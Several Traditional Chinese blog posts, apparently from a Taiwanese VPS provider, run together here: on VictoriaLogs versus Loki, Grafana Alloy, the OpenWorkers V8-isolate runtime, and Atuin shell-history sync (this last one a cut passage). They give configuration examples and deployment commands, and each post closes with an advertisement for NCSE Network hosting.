VictoriaLogs 由 VictoriaMetrics 團隊在同一套 mergeset 引擎邏輯上延伸出來。設計目標寫得很直接：把日誌全文檢索的成本壓到接近指標儲存的水準。對照組是同樣 500GB / 7 天的工作量，公開 benchmark 拿到的數字是 Loki 三分之一的記憶體、37% 更少的磁碟、12 倍的查詢速度。本文要拆的是這些數字背後的儲存設計，以及怎麼把它接上現有的 Vector、Fluent Bit、Grafana Alloy 採集鏈。

Loki 的標籤索引貴在哪

Loki 對外的賣點一直是「只索引標籤，不索引內容」。聽起來合理：標籤少，索引就小，記憶體就省。實際走到大流量產環境之後就會看到代價。

第一個問題是 cardinality。一旦把 pod_name、request_id、trace_id 這種高基數欄位放進標籤，每個獨特組合都會在記憶體裡開一個 stream。Loki 沒有夠強的硬性限制機制，預設配置下幾百萬個 stream 就能把 ingester 的記憶體吃光，OOM kill 是日常。

第二個問題是查詢路徑。Loki 的查詢只在標籤層做剪枝，剩下的全文比對是逐 chunk 解壓縮、逐行 regex 掃過去。如果搜尋條件沒帶夠精準的標籤，整個時間範圍裡的 chunk 都得拉回 querier 解壓——500GB 規模的「大海撈針」查詢實測 12 秒、否定查詢直接 timeout，都是這個機制下的必然結果。

第三個問題是運維面。Loki 的單體模式只能撐到一定吞吐量，要繼續往上得拆成 distributor / ingester / querier 微服務，再加 Memcached、加 object storage、加 compactor。光把這套架構穩定跑起來就已經是一個全職工程師的工作量。

per-token 索引換來的代價平衡

VictoriaLogs 的儲存模型走的是反方向：所有欄位都建索引，但用 columnar 儲存把成本壓下來。

寫入時，每筆日誌被拆成若干欄位（_msg、_time、_stream、自訂結構化欄位），每個欄位獨立壓縮存成一欄。_msg 內文則再被切成 tokens 建反向索引。這套設計直接借自 VictoriaMetrics 的 mergeset 引擎，欄位之間的壓縮比通常落在 10 倍到 30 倍之間。

查詢時，per-token 索引讓「找出某行特定字串」這種需求不必再掃整個時間窗。實測同樣的 needle-in-haystack 查詢在 500GB 資料集上，Loki 跑 12 秒，VictoriaLogs 跑 900 毫秒。差距不是調整參數能補的，是儲存結構本身的差別。

partition 切分方式是按日分桶（partitions/YYYYMMDD/），這讓資料分層、備份、刪除舊資料的操作都能在不影響線上服務的前提下完成。要把三個月前的資料搬到便宜的 HDD 或 S3 做冷儲存，rsync 整個 partition 目錄就行，不需要走複雜的 API。

至於記憶體佔用，同樣的 500GB / 7 天工作量，Loki 穩態下吃 6 到 7 GiB、爆量時還會被 OOM kill；VictoriaLogs 穩態 1.3 GiB、峰值也只到 2 GiB 左右。這個差距讓單台 4 GB RAM 的 VPS 從「勉強堪用」變成「綽綽有餘」。

LogsQL 比 LogQL 多了什麼

語法層面，LogsQL 抓住了一個 LogQL 一直沒處理好的點：把全文檢索當作第一公民。

最簡單的查詢就是一個字：

1

error

這會找到 _msg 欄位裡包含 error 的所有日誌。要找精確字串就加引號：

1

"connection refused"

組合條件時 AND 可以省略：

1

_time:1h log.level:error -app:buggy_service

這條的意思是：過去一小時內，log.level 欄位為 error、但排除 app 為 buggy_service 的紀錄。負號代表排除，這在 LogQL 裡要寫成相對冗長的 != 跟 !~ 組合。

stream filter 用 {} 包起來，跟 Loki 的習慣對齊：

1

{app="nginx"} _time:5m 500

聚合走 pipe 串接，這個設計比 LogQL 的函式包裹更接近 shell 的直覺：

1

_time:1h error | stats by (host) count() as cnt | sort by (cnt) desc

對從 Splunk 或 Sumo Logic 轉過來的工程師，這套寫法的學習曲線會比 LogQL 那種 PromQL-style 的語法平緩許多。

採集層相容現有的工具鏈

VictoriaLogs 對外暴露多套相容協定，採集端基本不用換：

• OpenTelemetry Collector 直接送 OTLP/HTTP
• Vector 走原生 sink
• Fluent Bit、Fluentd、Logstash 用 HTTP output
• Promtail 改個 URL 就能繼續用
• Grafana Alloy 近期版本內建支援
• Journald、syslog 直送也有對應的 endpoint

這意味著從 Loki 切換到 VictoriaLogs 不必動採集端的設定。對已經部署 Promtail 或 Alloy 的環境，唯一要改的是把 clients.url 指到 VictoriaLogs 的 /insert/loki/api/v1/push——這個端點刻意做了 Loki 協定相容，讓搬遷成本接近零。

視覺化層也是。Grafana 裝個官方 plugin 就能用 LogsQL 查 VictoriaLogs，原本的 dashboard 改 datasource 就能繼續跑。對需要保留 Loki 邏輯不動的環境，VictoriaLogs 還支援 LogQL 查詢端的相容模式。

單節點部署：一支 binary 加 Docker Compose

VictoriaLogs 的單節點版本是一支 Go 編譯出來的 binary，沒有外部相依。最小可用的 Docker Compose 大致長這樣：

1
2
3
4
5
6
7
8
9
10
11
12

services:
  victorialogs:
    image: victoriametrics/victoria-logs:v1.10.0
    ports:
      - "9428:9428"
    volumes:
      - ./data:/victoria-logs-data
    command:
      - -storageDataPath=/victoria-logs-data
      - -retentionPeriod=30d
      - -httpListenAddr=:9428
    restart: unless-stopped

-retentionPeriod 支援從 1d 到 100y，也可以改用 -retention.maxDiskSpaceUsageBytes 走磁碟容量上限。預設值只有 7 天，正式環境一定要改。

對外暴露的部分，建議在前面套一層 Caddy 或 Nginx 做 TLS 跟 basic auth。VictoriaLogs 本身也有 -httpAuth.username 跟 -httpAuth.password 參數，但走反代解決會更有彈性，也能順便處理跨服務的權限收斂。

多租戶用 AccountID 跟 ProjectID HTTP header 區分，寫入跟查詢都得帶上對應的 header 才會落到同一個邏輯空間。這個機制在 SaaS 場景或公司內部多團隊共用一台儲存實例時特別好用。

高可用方案官方推薦的是雙寫兩台單節點再用 vmauth 做查詢端 load balance，避開了 cluster 模式的部署複雜度。對絕大多數中小規模的場景，這個方案的容錯能力已經夠用，又不會引入額外的故障點。

該選 Loki 還是 VictoriaLogs

兩邊都不需要過度吹捧。場景對的時候各有勝場。

選 Loki 的情境：團隊已經跑了一兩年的 Loki，運維跟 dashboard 都成熟；查詢模式以標籤為主、全文檢索很少；對 Grafana 生態的整合深度有強要求；日均日誌量在 50GB 以內，記憶體跟磁碟成本不構成壓力。

選 VictoriaLogs 的情境：剛開始建立可觀測性技術棧、沒有歷史包袱；查詢需求以全文檢索或 ad-hoc 探索為主；資源密度有實質限制（VPS 預算固定、要在同一台機器上同時跑指標跟日誌）；不想花全職工程師力氣維護 Loki 微服務拓樸。

實務上對新建環境，VictoriaLogs 的綜合分數明顯高一些。少一個元件就少一個故障點，少幾 GiB 記憶體預算就能多塞別的服務。把 VictoriaMetrics + VictoriaLogs 跟 Grafana Alloy 湊在一起，會得到一套完全 columnar 的可觀測性堆疊，硬體成本只有傳統 ELK + Loki 組合的零頭。

從 Loki 搬遷的實務順序

對已經跑 Loki 的環境，沒必要一次切換。建議的順序：

第一步是並行寫入。讓 Promtail 或 Alloy 同時送一份到 Loki 跟 VictoriaLogs，跑兩三週，確認新平台沒漏資料、查詢結果一致。VictoriaLogs 的吞吐能力撐得住雙寫，這段時間不會額外加重採集端壓力。

第二步是切查詢流量。Grafana datasource 加一條 VictoriaLogs，讓部分 dashboard 跟 alert 走新後端。觀察 query latency 跟錯誤率，確認 LogsQL 改寫過的查詢行為符合預期。

第三步是停寫 Loki。確認新後端穩定後關閉 Loki 寫入，Loki 那邊保留唯讀模式跑到資料過期或主動清理。

整個過程裡，採集端的設定變動最小。對運維面真正花時間的是查詢語法的改寫，但 LogsQL 的學習曲線本身就比 LogQL 平緩，這部分的成本通常被高估。

結論

Loki 在 2020 年解決了當時 ELK Stack 的成本問題，但 2026 年看回去，它對標籤索引的依賴反而成了新的瓶頸。VictoriaLogs 用 columnar 加 per-token 索引把同樣的工作量壓進三分之一的資源，採集端跟視覺化端又都向後相容，搬遷成本比預期低很多。

部署 VictoriaLogs 不需要叢集、不需要 object storage、不需要 Memcached，一台中階 VPS 就能撐到日均百 GB 的日誌吞吐。columnar 儲存對 I/O 隨機讀寫跟記憶體頻寬都敏感，搭配 NVMe SSD 跟現代 CPU 才能把效能跑滿。NCSE Network 提供位於臺灣是方電信機房的 VPS 服務，採用 Intel Gold CPU 與 NVMe SSD，適合作為自架可觀測性技術棧的儲存節點，詳細規格與報價可以到 ncse.tw 查看。

Grafana Alloy 是這次整合的最終形態。它把 metrics、logs、traces、profiles 四種訊號的採集收進同一支 binary，並以 OpenTelemetry Collector 發行版的形式對外發布。本文拆解它的定位、實際設定方式，以及取代既有採集 agent 的路徑。

為什麼 Grafana 把這四隻 agent 全收成一隻

過去三年，一臺中等規模的 Linux 伺服器同時跑四隻採集器是常態：Promtail 拉 log 進 Loki、node_exporter 暴露系統指標讓 Prometheus 抓、OpenTelemetry Collector 處理 trace、再加上 Grafana Agent 想把這些事做一遍但只成功了一半。每隻 agent 各自吃資源、各自要維護設定檔、各自要被監控，光是處理「監控本身」的成本就比想像中重。

Alloy 的核心主張是：這四件事在資料管線層面其實是同一件事——收集、轉換、轉發。把它們合進同一個 OpenTelemetry Collector 發行版裡，比維護四個獨立 agent 合理得多。對 Grafana 而言這也是必然選擇，CNCF 標準正在統一所有可觀測訊號的傳輸協定，繼續維護獨立 agent 等於浪費工程資源。

Alloy 不是新東西，是 OpenTelemetry Collector 的發行版

這點常被誤解。Alloy 並不是 Grafana 重新寫的另一個採集器，而是基於 OpenTelemetry Collector 上游的 distribution，類似 Splunk OTel Collector、AWS Distro for OpenTelemetry 的角色。差別是 Grafana 在標準 OTel pipeline 之外，把 Prometheus 生態的 pull-based scrape、各種 exporter，跟 Loki 的 log source 整進來。

2026 年 GrafanaCON 公布的版本進一步加上了 OpenTelemetry Engine mode，可以直接吃標準 OTel Collector 的 YAML 設定檔，不用學新語法。原本擔心 vendor lock-in 的團隊，這條退路至少留好了。

.alloy 語法長這樣

Alloy 用一套叫做 River 的設定語法，檔名是 .alloy。每個元件叫做 component，類似函式呼叫，元件之間用 reference 串成 pipeline：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

prometheus.exporter.unix "default" {
}

prometheus.scrape "system" {
  targets    = prometheus.exporter.unix.default.targets
  forward_to = [prometheus.remote_write.local.receiver]
}

prometheus.remote_write "local" {
  endpoint {
    url = "http://prometheus:9090/api/v1/write"
  }
}

loki.source.docker "containers" {
  host       = "unix:///var/run/docker.sock"
  targets    = discovery.docker.containers.targets
  forward_to = [loki.write.local.receiver]
}

loki.write "local" {
  endpoint {
    url = "http://loki:3100/loki/api/v1/push"
  }
}

跟傳統 YAML 比起來，這套語法的優勢是元件之間用 reference 而不是字串對應名稱串聯。語法錯誤在 alloy fmt 階段就會被抓到，不會等到 runtime 才爆。IDE 也能做出像樣的補全跟 type check，這在動輒上千行的設定檔上是實質生產力差別。

Promtail 到 Alloy 的遷移成本

Promtail 的 YAML 可以直接轉換。Alloy 內建 convert 指令：

1
2

alloy convert --source-format=promtail \
  --output=config.alloy promtail.yaml

實測下來，多數的 promtail.yaml 都能完整轉成 .alloy，但有兩個地方務必檢查。pipeline_stages 裡的 multiline 處理在 Alloy 變成 loki.process 的 stage.multiline block，欄位名跟舊版不完全一致。relabel_configs 則由獨立的 discovery.relabel 元件處理，邏輯更清楚但要重新組裝。

至於 node_exporter，Alloy 沒有提供轉換器，因為 node_exporter 本身沒有設定檔，原本就是 CLI flag 控制。重點是把對應的 collector 在 prometheus.exporter.unix 裡開好。預設啟用的 collector list 跟 node_exporter 不完全一樣——例如 textfile collector 預設沒開，這是一個常被忽略的差異，從 node_exporter 切過去後會發現某些自訂指標突然不見了。

跟原生 OpenTelemetry Collector 該怎麼選

這是 2026 年實際在 deploy 時最常遇到的問題，建議分兩種情境給答案。

已經跑 Loki、Prometheus 自架 stack 的團隊：直接上 Alloy。把舊有 Promtail、node_exporter、Grafana Agent 全收成 Alloy 是最省事的路徑，且 Alloy 對 Loki 跟 Prometheus 的整合明顯比 vanilla OTel Collector 完整，許多 exporter 不必另外接 receiver 就能直接用。

走純 OpenTelemetry、後端不是 Grafana stack 的團隊：留在 vanilla OpenTelemetry Collector。Alloy 雖然支援 OTel YAML mode，但社群 component 跟 receiver 還是以 OTel Collector contrib 的更新最快，CNCF 那一側的相容性也更直接。

值得避免的反模式是：把 Alloy 當成「Grafana 版本的 OTel Collector」然後沿用 OTel 寫法。如果根本不打算用到 Prometheus pull-based scrape 跟 Loki source，純粹跑 OTel pipeline，vanilla collector 反而更輕、更新更快。

單一 binary 在資源佔用上的真實表現

合併四隻 agent 不代表資源用量直接除以四。Alloy 處於空閒（只收 host metrics）狀態大概吃 80MB RAM。同時開啟 Loki source、Prometheus scrape、OTel receiver、tail-sampling 等四個 pipeline 後，記憶體會穩定在 200 到 300MB 之間。

跟分開跑四隻 agent 加總的 400 到 500MB 比起來，省掉 30 到 50% 的記憶體佔用。但更大的價值不是省記憶體，而是除錯成本下降。當所有採集都走同一個 process，內建 web UI 可以看每個 component 的健康狀態跟 sample 資料流，遠比同時看四份 log 容易找出問題。「為什麼這條 log 沒進 Loki」這種問題，原本要查 Promtail log、Loki ingester、relabel 規則，現在可以在 Alloy UI 裡直接看 loki.source.docker 那個元件吐出了什麼。

容器化部署最容易踩的 WAL 問題

Alloy 在 Docker 部署時，預設會把資料存進 container 內的 /var/lib/alloy 目錄。這個目錄存的不只是 cache，還有 write-ahead log（WAL）。如果沒做 volume mount，容器重啟時所有還沒送出的指標、log 都會掉，重啟頻繁的環境特別容易遺失資料。

正確做法是把 WAL 目錄掛到 named volume，並且把 graceful shutdown 時間從預設 30 秒拉到 60 到 90 秒，確保 WAL 的資料能完整 flush：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

services:
  alloy:
    # 正式環境請釘定版本，不要用 latest
    image: grafana/alloy:v1.5.1
    command:
      - "run"
      - "--server.http.listen-addr=0.0.0.0:12345"
      - "--storage.path=/var/lib/alloy/data"
      - "/etc/alloy/config.alloy"
    volumes:
      - ./config.alloy:/etc/alloy/config.alloy:ro
      - alloy-data:/var/lib/alloy/data
      - /var/run/docker.sock:/var/run/docker.sock:ro
    ports:
      - "12345:12345"
    stop_grace_period: 90s

volumes:
  alloy-data:

12345 那個 port 是 Alloy 內建的 HTTP server 與 web UI，可以連進去看每個 component 的狀態跟 live debug。要接收 OTLP 流量需要另外在 .alloy 設定檔加上 otelcol.receiver.otlp 並暴露對應 port（gRPC 慣例 4317、HTTP 4318），不是打開 12345 就會自動收。正式環境記得用反向代理鎖權限，這個介面對所有採集的內容都看得到，沒做存取控制等於把整套系統指標公開。

把採集層收齊之後值得想清楚的事

Alloy 的真正價值不在「省一隻 agent」，而在把採集這層的維運責任收斂到單一介面。原本同時要熟悉 Promtail YAML、node_exporter flag、OTel Collector pipeline 三套配置的工程師，現在只要熟 .alloy 一套語法。在團隊規模有限的情境下，這是非常實際的效益。

但別期待 Alloy 解決所有問題。它依然只是採集層，後端的 Loki、Prometheus、Tempo 還是要自己維運；資料儲存、retention 策略、查詢效能這些都跟 Alloy 沒關係。決定要不要採用，看的是「採集層的維運成本」對團隊現階段的痛點程度，以及未來是否會繼續使用 Grafana 系的後端。

要在臺灣機房內把這套採集管線跟 Loki、Prometheus 後端完整跑起來，VPS 規格、網路品質與磁碟 I/O 都會直接影響整體的可觀測性效能。NCSE Network 提供臺灣是方電訊機房的 VPS 主機，Intel Gold CPU 與 NVMe SSD 的組合適合承擔多 pipeline 採集與時序資料庫高寫入量的負載，有相關自架監控需求歡迎參考 ncse.tw。

OpenWorkers 是 2026 年 1 月在 Hacker News 上冒出來的專案，用 Rust 直接綁 rusty_v8 重寫了一套相容於 Cloudflare Workers 程式設計模型的執行環境。和過去那些「Workers 替代品」最大的差別在於：它不是把 Node.js 或 Deno 套上 Workers 風格的 wrapper，而是真的下到 V8 isolate 這一層，把整套執行環境跟 binding 系統重新實作一次。對於想要 Workers 開發體驗但拒絕被綁在 Cloudflare 帳單上的團隊，這是 2026 年目前最值得追蹤的選項。

V8 isolate 為什麼跟容器化函式不是同一回事

把 OpenWorkers 跟「Lambda、Cloud Run、Knative 之類的容器化函式」放在一起比較會看不出差異——表面上都是「事件進來、跑一段程式碼、回應出去」。差別在隔離單位的層級。

Lambda 把每個函式打包成一個 container image，每次冷啟動要拉起一個 microVM（Firecracker），記憶體跟 CPU 都是獨立分配的。即使最快的冷啟也要幾十毫秒到幾百毫秒，常駐記憶體最少 128MB 起跳，閒置實例要錢。

V8 isolate 是另一種模型。一個作業系統 process 裡可以同時存在幾千個 isolate，每個 isolate 有獨立的 heap、獨立的 global 物件、彼此完全看不到對方的記憶體，但共用同一個 V8 引擎實例。冷啟動只是 instantiate 一個新的 isolate context，通常 5 毫秒以下完成；每個 isolate 的記憶體基線可以低到幾 MB。

這個架構在 Cloudflare 全球三百個 PoP 的規模下意義很大——每個 PoP 機房不必為了某個冷門 worker 預留一整顆 CPU。在自架單一機房的場景，意義會打折扣，但對於「同一臺機器要跑幾百個小型 JS 服務」的場景，isolate 的密度還是壓倒性贏過容器。

為什麼是 rusty_v8 而不是 vm2、deno-core

OpenWorkers 一開始選用過 vm2 跟 deno-core，後來都換掉。這段技術選型的演進值得細看，因為它反映了 JavaScript 沙箱這條路線的現實。

vm2 是 Node.js 生態裡早期最常被推薦的 sandbox 套件，2023 年因為 CVE-2023-29017 與後續一連串無法修補的 escape 漏洞，原作者直接宣告 vm2 不再維護、不應該被當作安全邊界使用。任何把 vm2 當沙箱跑使用者程式碼的服務，本質上都是裸奔。

deno-core 是 Deno runtime 的核心模組，把 V8 跟 Tokio 整合在一起。技術上沒問題，但它把整個 Deno 的 Web API（包含 Deno.* 命名空間下的檔案系統存取、子程序、網路 syscall）都帶進來。如果只想要一個乾淨的 JavaScript 執行環境、自己決定要暴露什麼 binding，deno-core 等於先把不需要的東西全塞進來再想辦法關掉。

rusty_v8 是 Deno 團隊維護的另一個套件——純粹是 V8 的 Rust 綁定，沒有任何 runtime 概念。要建立 isolate、要暴露 host function、要從 Rust 端 throw exception 進 JavaScript，全部都得自己寫。但好處也很直接：執行環境裡有什麼，全是 OpenWorkers 自己決定的，沒有藏起來的 syscall、沒有預設啟用的 Web API。

對於要實作 Cloudflare Workers 相容介面的場景，這個選擇近乎必要。Cloudflare 對 worker 能存取什麼定義得很嚴格——只有 fetch、KV、R2、Durable Objects、Service Binding 這些明確的 binding，沒有 process、沒有 fs、沒有任意 socket。要做出語意一致的相容層，從 rusty_v8 起手反而比從 deno-core 砍 API 來得乾淨。

binding 系統的相容深度

OpenWorkers 目前實作的 binding 涵蓋了 Cloudflare Workers 八成的常用情境：

• KV namespace：env.MY_KV.get(key) 這套介面直接相容，背後接 PostgreSQL 的 key-value table
• R2 bucket：對應到任何 S3 相容的物件儲存，可以指向 MinIO、Garage、Backblaze B2 或 AWS S3
• Service Binding：worker 之間互相呼叫，語意跟 Cloudflare 的 env.OTHER_WORKER.fetch() 一致
• 環境變數與 Secrets：透過儀表板或 API 設定，注入到 env 物件
• Cron Trigger：支援 5 欄位跟 6 欄位 cron 語法，排程器是獨立元件

Durable Objects 跟 WebSocket Hibernation 還在 roadmap 上，這兩個是 Cloudflare Workers 真正難複製的部分——Durable Objects 要解決全球一致性、WebSocket Hibernation 牽涉到把長連線從 isolate 解綁。在 OpenWorkers 補上這兩個之前，依賴 Durable Objects 做狀態管理的程式碼遷移過去會卡關。

Workers AI 那條線完全沒有對應——本來就是綁定 Cloudflare 自家的推論基礎設施，要替代得自己接 Ollama 或 vLLM。但這在自架場景反而是好事，可以選用本地模型而不是被綁在某家服務的 token 計費。

部署架構與一份 docker-compose

OpenWorkers 把整套執行環境拆成幾個獨立服務：

• nginx：前端代理，處理 TLS termination 跟 routing
• dashboard：Web UI，管理 worker、binding、log
• api：控制平面 API，提供部署、設定、metrics
• runners：實際執行 isolate 的工作節點，可以水平擴展
• scheduler：cron trigger 的排程器
• logs：執行日誌收集與查詢
• postgate：PostgreSQL 連線池與 binding 後端
• NATS：服務間訊息通訊

聽起來很複雜，實際部署只需要一份 docker-compose.yml 跟一個 PostgreSQL 實例。官方倉庫把所有元件包成同一份 Compose，clone 下來改幾個環境變數就能跑：

1
2
3
4
5

git clone https://github.com/openworkers/openworkers-infra
cd openworkers-infra
cp .env.example .env
# 編輯 .env 設定 OPENWORKERS_DOMAIN、POSTGRES_PASSWORD
docker compose up -d

最小化部署的資源需求是 2 vCPU、4GB RAM、20GB SSD。runner 數量根據預期負載調整，每個 runner 預設能撐 50 到 100 個併發 isolate，視 worker 的記憶體使用而定。

跑起來之後從 dashboard 用 wrangler 相容的 CLI 部署：

1
2

npx @openworkers/cli login https://workers.example.com
npx @openworkers/cli deploy

wrangler.toml 的格式基本沿用，只是 binding 的 namespace ID 改成 OpenWorkers 自己的識別碼。已經有 Cloudflare Workers 程式碼的團隊，遷移成本主要落在「重新建立 KV namespace、重新上傳 R2 bucket 內容」這塊，程式碼本身改動很少。

沙箱不是安全邊界，這件事要先講清楚

OpenWorkers 在 Hacker News 上被問到最多的問題就是：V8 isolate 算不算 security boundary？開發者的回應很誠實——「the sandboxing is more about resource isolation than security-grade multi-tenancy」，要跑真正不可信的程式碼，請在 isolate 外面再包一層 container 或 VM。

這個立場其實是對的。V8 本身雖然有 sandbox，但 V8 的 CVE 歷史證明 isolate 之間的隔離不是設計來抵擋對抗性攻擊的——Cloudflare 之所以敢拿 isolate 跑多租戶，是因為他們有完整的內部威脅模型、加上 isolate 之外的多層次防禦（網路隔離、行為偵測、shadow execution）。

對自架使用者來說這意味著兩種使用模式：

單租戶或受信任程式碼：自己團隊寫的 worker、內部服務、合作夥伴的程式碼，isolate 提供的資源隔離（CPU 100ms、記憶體 128MB）就夠了。

多租戶或不可信程式碼：把每個租戶的 runner 跑在獨立的 container 裡，或更激進一點放進獨立的 VM。OpenWorkers 的 runner 設計成可以水平擴展，多開幾個 runner 把不同租戶綁到不同 runner 是合理的做法。

對於只想替自家業務找 Workers 自架方案的團隊，第一種模式直接適用，不必過度焦慮。

自架邊緣這個說法本身要重新校準

社群討論裡有一派質疑：自架 Workers 失去了邊緣運算的意義，因為自家機房不可能有三百個 PoP。這個質疑技術上對，但搞錯了使用情境。

邊緣運算的核心好處有兩個：低延遲（地理上靠近使用者）、高吞吐（請求不需要回源）。Cloudflare Workers 之所以強，是因為這兩個好處同時有。自架到單一機房只能拿到第二個——請求不需要再回源到另一臺 origin server——對於 API gateway、邊緣鑑權、靜態內容前置處理這些場景，第二個好處的價值就夠了。

更具體的場景：把原本跑在後端的某些輕量邏輯（A/B 測試分流、IP 黑白名單、bot 偵測、redirect 規則）從 application server 拆出來放進 worker，application server 就能專注處理真正的業務邏輯。這套架構在自架單機房下完全成立。

如果用戶分佈全球、低延遲是硬需求，那 Cloudflare 那種 anycast 邊緣本來就無法自架——這時要的是 Workers 那套，不是 OpenWorkers。

該選 OpenWorkers 還是直接用 Cloudflare Workers

放下意識形態的話，這個決策其實有清楚的判斷點。

該選 OpenWorkers 的情境：

• 已經被 Cloudflare 帳單嚇到——AI 生成的程式碼產生意外的高請求量這件事在 2025 到 2026 年發生過好幾次
• 監管或合規要求資料不能離境，臺灣金融業、政府專案常見
• 想把 Workers 當作 microservice 平台用，部署在自家機房裡
• 已經有 Postgres 跟物件儲存的基礎設施，希望把 worker 接到既有資料層

該繼續用 Cloudflare Workers 的情境：

• 真的需要全球邊緣 PoP 的低延遲分佈
• 依賴 Durable Objects 做全球一致性狀態管理
• 流量規模還小，免費或 $5 方案就夠用，自架的維運成本不划算
• 重度使用 Workers AI、Vectorize、Hyperdrive 這些 Cloudflare 專屬服務

中間有一個值得考慮的混合模式：把對延遲敏感、對外公開的入口放在 Cloudflare Workers，把對成本敏感、邏輯較重的後端 worker 放在 OpenWorkers，前後透過 fetch 或 service binding 串起來。這樣既享受到全球邊緣的低延遲，又把運算密集的部分搬回自家機房控制成本。

把 Workers 那套搬回自家機房之後

無伺服器 JavaScript runtime 這條路線過去幾年被 Cloudflare、Vercel、Netlify、Deno Deploy 佔滿，「自架」幾乎不在這個賽道的選項裡。OpenWorkers 用 rusty_v8 直接從 V8 引擎這層重做，把 Cloudflare 那套開發體驗從「只能在他們的雲跑」拉到「可以在任何一臺 Linux 機器跑」，這在心智模型上是個明顯的改變。

要在自家機房或 VPS 上跑 OpenWorkers 平穩運轉，幾個基礎設施條件要先到位：穩定的 PostgreSQL（KV 跟 metadata 都靠它）、可靠的物件儲存（R2 binding 的替代）、有規模一點的話再加上獨立的 NATS 集群。CPU 要選單核心效能好的——V8 isolate 的 JIT 編譯對單核效能敏感，多核心數量遠不如時脈高來得有感。

NCSE Network 在臺灣的節點位於是方電訊機房，並提供採用 Intel Xeon Gold CPU 的 VPS 主機與 NVMe SSD 儲存；對於跑 OpenWorkers 這類重視單核效能與低延遲 I/O 的 JavaScript runtime，是合適的底層配置。搭配臺灣 IP Transit 的線路品質，自架邊緣運算服務的本地延遲體驗會比放在海外節點明顯好。前往 ncse.tw 了解規格與方案。

Atuin 從這個前提重寫了整個流程。本地用 SQLite 儲存，每筆紀錄帶上 cwd、執行時間、耗時、退出碼、session ID 和主機名；搜尋是 fuzzy match 加上多欄位過濾；同步是選擇性開啟的端對端加密，伺服器可以自架。整個工具用 Rust 寫，單一 binary，跨 bash、zsh、fish、nushell、xonsh、PowerShell。

預設 shell history 到底缺什麼

舉個情境：上週在某台伺服器上跑了一條長到不像話的 ffmpeg 指令解 codec 問題，這週另一台機器又碰到，但記不得參數。打開 .bash_history，看到的只是一行純文字，沒有時間、沒有目錄、沒有結果。如果中間還曾把 shell 卡死強制重開，這行甚至可能根本沒寫進檔案。

Atuin 改成事件式記錄，每條指令在開始執行時就先寫進 SQLite，執行完成後再回頭補上耗時和退出碼。資料結構大致是：

1
2

id, timestamp, duration, exit, command,
cwd, hostname, session, deleted_at

這意味著可以下這種查詢：「上個月在 prod1 主機的 /etc/nginx/ 底下執行過、退出碼非 0 的指令」。Atuin CLI 直接提供 atuin search --cwd /etc/nginx --exit 1 --before "1 month ago" 這種組合條件。

對團隊更實際的價值在於失敗指令的可追溯性。退出碼存下來之後，事後追查「那次部署到底哪一步噴錯」不必再翻 tmux 的卷軸緩衝區。

E2E 加密同步：伺服器看不到明文

Atuin 的同步協定值得單獨講。每個帳號註冊時會在客戶端生成一組對稱金鑰，這把金鑰用密碼派生的另一把金鑰加密後，存在本地的 ~/.local/share/atuin/key。所有要上傳的歷史紀錄都先以這把金鑰做 XChaCha20-Poly1305 加密，伺服器拿到的只是密文跟一個用來去重的 hash。

換句話說，自架伺服器看到的歷史紀錄全是亂碼，連伺服器管理員（也就是使用者本人）都無法從資料庫倒推內容——除非同一把金鑰還在某台機器上。這對含有密碼、token、API key 的指令歷史是必要的設計，畢竟很多人會把 secret 直接打在 command line 上。

副作用是換機器時需要做 atuin key 把現有金鑰印出來，到新機器跑 atuin login 時貼進去。忘記備份金鑰等於整份雲端歷史變垃圾資料，這點在第一次設定時就要警覺。

自架 sync 伺服器：PostgreSQL 加一支 binary

官方雲端服務免費，但要有完整控制權還是建議自架。Atuin server 需要 PostgreSQL 14 以上，本身就是一支 Rust binary 加一個薄薄的 HTTP API。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

services:
  atuin:
    image: ghcr.io/atuinsh/atuin:latest
    restart: unless-stopped
    command: server start
    ports:
      - "127.0.0.1:8888:8888"
    environment:
      ATUIN_HOST: "0.0.0.0"
      ATUIN_PORT: 8888
      ATUIN_OPEN_REGISTRATION: "false"
      ATUIN_DB_URI: postgres://atuin:${DB_PASSWORD}@db/atuin
    depends_on:
      db:
        condition: service_healthy

  db:
    image: postgres:16.3-alpine
    restart: unless-stopped
    environment:
      POSTGRES_USER: atuin
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: atuin
    volumes:
      - ./pgdata:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD", "pg_isready", "-U", "atuin"]
      interval: 10s
      retries: 5

兩個細節容易踩到。第一，ATUIN_OPEN_REGISTRATION 預設是 true，意思是任何人知道網址就能註冊帳號開始用你的 PostgreSQL。除非有意對外開放，否則第一件事就是改成 false，註冊完自己的帳號再關掉。

第二，伺服器不終結 TLS，前面一定要放反向代理。Caddy 或 Nginx 都行，把 8888 綁在 loopback、上層接 HTTPS 才是安全配置。直接把 8888 暴露在公網是常見錯誤。

客戶端設定走 ~/.config/atuin/config.toml：

1
2
3

sync_address = "https://atuin.example.com"
sync_frequency = "5m"
auto_sync = true

註冊跟登入：

1
2
3

atuin register -u user -e me@example.com
atuin import auto      # 從現有 shell history 一次性匯入
atuin sync

v18.13 加進來的搜尋功能

2026 年的 v18.13 是把搜尋體驗推上另一個層級的版本。最值得提的兩點：

自訂鍵位：TUI 模式的鍵位過去是寫死的，這次終於允許在 config 裡完全自訂。對習慣 Vim 風格綁定的使用者來說是大解放。

Smart sort 改善：搜尋結果的排序權重重新調校，加上「在同樣的 cwd 用過幾次」的因素。也就是說在 /var/log 底下搜 grep 時，跟在 ~/project 底下搜 grep 會看到完全不同的順序，命中率比之前高出一截。

更值得期待的是 PTY proxy 功能進入 beta。Atuin 開始能直接記錄整個 PTY session 的輸出，而不只是指令本身，未來會成為 Atuin Desktop 的可執行 runbook 基礎建設。

Atuin Desktop 與 runbook：方向轉變的訊號

2026 年 Atuin 把 Desktop 應用程式開源化，並推出重新設計的 runbook 執行引擎。Runbook 在這裡指的是一份可執行的文件——把指令、變數、輸出全部嵌進 Markdown，可以一格一格執行，狀態跨重啟保留。

這條產品線目前比較適合運維場景：用來把「機器壞掉時要跑的處置流程」寫成可重複執行的文件。Workspace 可以選擇雲端同步或純本地由 Git 管理，後者對需要納入版本控制的 SRE 團隊比較合適。

對只想要好用 shell history 的使用者來說，Desktop 是錦上添花，不必非裝不可。CLI 本身已經足夠完整。

適合自架的場景與不適合的情況

